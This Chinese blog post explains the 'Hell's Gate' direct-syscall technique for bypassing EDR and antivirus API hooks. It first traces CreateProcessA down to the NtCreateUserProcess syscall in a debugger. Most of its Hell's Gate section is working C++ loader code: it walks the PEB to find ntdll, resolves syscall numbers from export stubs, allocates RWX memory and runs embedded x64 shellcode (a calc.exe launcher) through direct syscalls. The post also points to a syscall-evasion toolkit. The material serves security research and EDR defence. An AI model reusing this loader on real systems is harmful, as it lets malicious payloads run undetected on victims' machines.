前段时间讲了天堂之门,让我们可以在32位的程序调用64位的代码,从而实现混淆。
地狱之门技术则是从API调用的角度来绕过防御方的检测。
公众号:https://mp.weixin.qq.com/s/hEqRUsOleA9sB5p1f79ojg
Win API
以CreateProcess举例子
最后都会走到内核层的NtCreateUserProcess。写个demo调试一下(Windows 11, amd64, release)
#include <windows.h> #include <iostream> #include <string> #include <vector> int main () { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory (&si, sizeof (si)); si.cb = sizeof (si); ZeroMemory (&pi, sizeof (pi)); std::string cmd = "cmd.exe /K \"echo Hello from child process & pause\"" ; std::vector<char > cmdLine (cmd.begin(), cmd.end()) ; cmdLine.push_back ('\0' ); if (!CreateProcessA ( NULL , cmdLine.data (), NULL , NULL , FALSE, 0 , NULL , NULL , &si, &pi)) { DWORD err = GetLastError (); std::cerr << "CreateProcess failed, error=" << err << "\n" ; return 1 ; } std::cout << "Started child process, PID=" << pi.dwProcessId << "\n" ; WaitForSingleObject (pi.hProcess, INFINITE); DWORD exitCode = 0 ; if (GetExitCodeProcess (pi.hProcess, &exitCode)) std::cout << "Child exited with code " << exitCode << "\n" ; CloseHandle (pi.hProcess); CloseHandle (pi.hThread); return 0 ; }
静态分析
在导入表里面导入了KERNEL32!CreateProcessA
看看Kernel32.dll是如何实现的,貌似还是一层转发的嵌套(图片左侧第一层)
动态分析
现在结合动态分析看一下
到的是KERNEL32!CreateProcessAStub,继续跟着看看
到的是KERNELBASE!CreateProcessA,并且显而易见还有下一层
最后终于来到疑似终点的地方(看上面的示意图你就会发现还远远没有达到)
切回静态分析你会发现一个和有意思的一点,这点也是 《深入解析Windows操作系统》(1.2.14)提到过的:多数的ANSI最后都会在windows底层转为 Unicode 处理,也就是说 大部分的 xxxxA最后都是xxxxW处理,例如这里的CreateProcessInternalA变为CreateProcessInternalW。更准确的描述是Windows NT 内核和大部分 Win32 子系统内部使用 Unicode(UTF-16),而 A 版本 API 通常负责将 ANSI 字符串转换为 Unicode,然后调用对应的 W 实现。
最后在CreateProcessInternalW+0x2913成功抓到,分析得到最后进入ntdll.dll
发现核心逻辑
不知道你还是否记得前文写 SSDT hook 的时候:我们根据调用找到ntoskrl中的最终函数。现在我们想根据SSN调用号找到对应的内核函数,其中SSN就是在KeServiceDescriptorTable[SSN],例如之前文章中的
开始第0号函数的地址计算:
offset = SSDT->tableBase[0] >> 4 = 0x27fe004>>4 = 0x27fe000
funcAddr = SSDT->tableBase+offset
= SSDT->tableBase[DWORD(offset/4)]
= 0xfffff805162c79f0+0x27fe000 = 0xfffff805165477f0
那么我们这里就要从EAX的值开始算,是0xC0号,但是运行过后会出现变化。
由于是重复的步骤,我就不再测试了,对于不同的windows版本可以在如下网页找到[2]
https://j00ru.vexillium.org/syscalls/nt/64/
不过好在大多数ntoskrl中的函数是相同名称的
结论
以CreateUserProcess为例子,从Ring3到Ring0的调用如下
KERNEL32!CreateProcessA KERNELBASE!CreateProcessA KERNELBASE!CreateProcessInternalA KERNELBASE!CreateProcessInternalW ntdll!NtCreateUserProcess ----------------syscall------------ ntoskrl!NtCreateUserProcess
Hell’s Gate技巧
显然,EDR/杀软会通过hook这些API从而检测进程是否安全,例如经典的三段式加载shellcode:VirutallocEx+RtlMemoryCopy+CreateThread就会被标记为高风险。
最开始的EDR只会hook ntdll.dll这种Ring3级别的API 钩子。EDR 向每个进程注入一个 DLL,在敏感的 ntdll.dll函数的开头放置跳板,拦截每次调用以在放行前检查参数。[3]
当然,只需要手动加载ntdll清理映射就行了。不过还是很麻烦,显而易见简单的方法就是直接写系统调用。
Hell’s Gate通常有以下的步骤
从LDR找到ntdll及其导出表
从导出表对内容进行哈希来查找想要直接调用的函数,也可以加上哈希值检测从而验证函数代码的完整性。
得到 syscall 的SSN
进入Hell’s Gate的汇编,填入EAX,最后进行syscall
1. LDR + EAT 遍历
PVOID getBaseAddrFromPEB (const wchar_t * dllName) { PPEB pPeb = reinterpret_cast <PPEB>(__readgsqword(0x60 )); PPEB_LDR_DATA ldr = pPeb->Ldr; LIST_ENTRY* list = &ldr->InMemoryOrderModuleList; PVOID ntdllBaseAddr = nullptr ; for (LIST_ENTRY* entry = list->Flink;entry != list;entry = entry->Flink) { PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD (entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (wcsstr (reinterpret_cast <UNICODE_STRING*>(module ->Reserved4)->Buffer, L"ntdll.dll" )) { ntdllBaseAddr = module ->DllBase; break ; } } if (ntdllBaseAddr == nullptr ) { std::cout << "[-] Not found ntdll.dll\n" ; return nullptr ; } return ntdllBaseAddr; }
依旧首先从PEB的双向链表定位到 ntdll,接着解析内存中的PE文件,得到函数地址。我是通过函数名匹配的,你也可以自定义哈希函数匹配。
PVOID getFuncFromDLL (const char * funcName, ULONG_PTR dllBaseAddr = 0 ) { PVOID result = nullptr ; if (dllBaseAddr == 0 ) return result; PIMAGE_DOS_HEADER dosHead = reinterpret_cast <PIMAGE_DOS_HEADER>(dllBaseAddr); PIMAGE_NT_HEADERS64 ntHead = reinterpret_cast <PIMAGE_NT_HEADERS64>(dllBaseAddr + dosHead->e_lfanew); DWORD exportRVA = ntHead->OptionalHeader .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] .VirtualAddress; DWORD exportSize = ntHead->OptionalHeader .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] .Size; PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(dllBaseAddr + exportRVA); DWORD* names = reinterpret_cast <DWORD*>(dllBaseAddr + exportDir->AddressOfNames); WORD* nameOrigns = reinterpret_cast <WORD*>(dllBaseAddr + exportDir->AddressOfNameOrdinals); for (size_t i = 0 ; i < exportDir->NumberOfNames; i++) { char * name = reinterpret_cast <char *>(dllBaseAddr + names[i]); if (!strcmp (funcName, name)) { DWORD* funcs = reinterpret_cast <DWORD*>(dllBaseAddr + exportDir->AddressOfFunctions); result = reinterpret_cast <PVOID>(funcs[nameOrigns[i]] + dllBaseAddr); break ; } } return result; }
2. 获得SSN
按道理来说得校验的,我直接按地址取了
bool checkFuncAsmCode (PVOID funcStart, std::vector<BYTE> flag) { try { for (size_t i = 0 ;i < flag.size ();i++) { if (reinterpret_cast <BYTE*>(funcStart)[i] != flag[i]) { return false ; } } return true ; } catch (const std::exception& e) { std::cerr << e.what () << '\n' ; return false ; } } auto NtAllocateVirtualMemoryAddr = getFuncFromDLL ("NtAllocateVirtualMemory" , reinterpret_cast <ULONG_PTR>(ntdllBase)); printf ("[+]NtAllocateVirtualMemory at: 0x%p\n" , NtAllocateVirtualMemoryAddr); if (!checkFuncAsmCode (NtAllocateVirtualMemoryAddr, { 0x4C , 0x8B , 0xD1 , 0xB8 })) { printf ("[x]Invalid NtAllocateVirtualMemory value\n" ); return 0 ; } DWORD SSN_NtAllocateVirtualMemory = *reinterpret_cast <BYTE*>((DWORD64)NtAllocateVirtualMemoryAddr + 4 ); printf ("NtAllocateVirtualMemoryAddr SSN: 0x%hX " , SSN_NtAllocateVirtualMemory);
3. 进行地狱之门调用
这里以最简单的shellcode加载器为例子
int main () { auto ntdllBase = getBaseAddrFromPEB (L"ntdll.dll" ); printf ("[+]ntdll.dll at: 0x%p\n" , ntdllBase); auto NtAllocateVirtualMemoryAddr = getFuncFromDLL ("NtAllocateVirtualMemory" , reinterpret_cast <ULONG_PTR>(ntdllBase)); printf ("[+]NtAllocateVirtualMemory at: 0x%p\n" , NtAllocateVirtualMemoryAddr); if (!checkFuncAsmCode (NtAllocateVirtualMemoryAddr, { 0x4C , 0x8B , 0xD1 , 0xB8 })) { printf ("[x]Invalid NtAllocateVirtualMemory value\n" ); return 0 ; } DWORD SSN_NtAllocateVirtualMemory = *reinterpret_cast <BYTE*>((DWORD64)NtAllocateVirtualMemoryAddr + 4 ); printf ("NtAllocateVirtualMemoryAddr SSN: 0x%hX " , SSN_NtAllocateVirtualMemory); auto NtProtectVirtualMemoryAddr = getFuncFromDLL ("NtProtectVirtualMemory" , reinterpret_cast <ULONG_PTR>(ntdllBase)); printf ("[+]NtProtectVirtualMemory at: 0x%p\n" , NtProtectVirtualMemoryAddr); if (!checkFuncAsmCode (NtProtectVirtualMemoryAddr, { 0x4C , 0x8B , 0xD1 , 0xB8 })) { printf ("[x]Invalid NtProtectVirtualMemory value\n" ); return 0 ; } DWORD SSN_NtProtectVirtualMemory = *reinterpret_cast <BYTE*>((DWORD64)NtProtectVirtualMemoryAddr + 4 ); printf ("NtProtectVirtualMemoryAddr SSN: 0x%hX\n" , SSN_NtProtectVirtualMemory); auto NtCreateThreadExAddr = getFuncFromDLL ("NtCreateThreadEx" , reinterpret_cast <ULONG_PTR>(ntdllBase)); printf ("[+]NtCreateThreadEx at: 0x%p\n" , NtCreateThreadExAddr); if (!checkFuncAsmCode (NtCreateThreadExAddr, { 0x4C , 0x8B , 0xD1 , 0xB8 })) { printf ("[x]Invalid NtCreateThreadEx value\n" ); return 0 ; } DWORD SSN_NtCreateThreadEx = *reinterpret_cast <BYTE*>((DWORD64)NtCreateThreadExAddr + 4 ); printf ("NtCreateThreadExAddr SSN: 0x%hX " , SSN_NtCreateThreadEx); auto NtWaitForSingleObjectAddr = getFuncFromDLL ("NtWaitForSingleObject" , reinterpret_cast <ULONG_PTR>(ntdllBase)); printf ("[+]NtWaitForSingleObject at: 0x%p\n" , NtWaitForSingleObjectAddr); if (!checkFuncAsmCode (NtWaitForSingleObjectAddr, { 0x4C , 0x8B , 0xD1 , 0xB8 })) { printf ("[x]Invalid NtWaitForSingleObject value\n" ); return 0 ; } DWORD SSN_NtWaitForSingleObject = *reinterpret_cast <BYTE*>((DWORD64)NtWaitForSingleObjectAddr + 4 ); printf ("NtWaitForSingleObjectAddr SSN: 0x%hX\n" , SSN_NtWaitForSingleObject); NTSTATUS status = 0x00000000 ; unsigned char payload[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d" "\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01" "\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01" "\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31" "\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45" "\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b" "\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31" "\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2" "\x48\xff\xc2\x48\x83\xec\x28\xff\xd0" ; PVOID lpAddr = nullptr ; SIZE_T payloadLen = sizeof (payload); SetupSSN (SSN_NtAllocateVirtualMemory); status = HellsGate (-1 , (uintptr_t )&lpAddr, 0 , (uintptr_t )&payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS (status)) { printf ("[x] %hx -> Failed: 0x%lX\n" , SSN_NtAllocateVirtualMemory, status); return 0 ; } printf ("[+]Shellcode space: 0x%p\n" , lpAddr); RtlCopyMemory (lpAddr, payload, sizeof (payload)); printf ("[+]Payload Delivered to space\n" ); HANDLE hThread = INVALID_HANDLE_VALUE; SetupSSN (SSN_NtCreateThreadEx); status = HellsGate ((uintptr_t )&hThread, 0x1FFFFF , NULL , -1 , (uintptr_t )lpAddr, NULL , FALSE, NULL , NULL , NULL , NULL ); if (!NT_SUCCESS (status)) { printf ("[x] NtCreateThreadEx|%hx -> Failed: 0x%lX\n" , SSN_NtCreateThreadEx, status); return 0 ; } printf ("[+]Thread created\n" ); LARGE_INTEGER Timeout; Timeout.QuadPart = -100000000 ; SetupSSN (SSN_NtWaitForSingleObject); status = HellsGate ((uintptr_t )hThread, FALSE, (uintptr_t )&Timeout); if (!NT_SUCCESS (status)) { printf ("[x] NtWaitForSingleObject|%hx -> Failed: 0x%lX\n" , SSN_NtWaitForSingleObject, status); return 0 ; } printf ("[+]Wait for thread end\n" ); return 0 ; }
最后推荐一个项目:SysWhispers4 [5]
https://github.com/JoasASantos/SysWhispers4
参考
[1] windows rookit防护-内核Hook Part 1 https://mp.weixin.qq.com/s/tg6ah6UD7q8wDCrWP7-vMQ
[2] Windows X86-64 System Call Table (XP/2003/Vista/7/8/10/11 and Server) https://j00ru.vexillium.org/syscalls/nt/64/
[3] Direct Syscalls vs Indirect Syscalls https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
[4] Exploring Hell’s Gate https://redops.at/en/blog/exploring-hells-gate
[5] JoasASantos/SysWhispers4 https://github.com/JoasASantos/SysWhispers4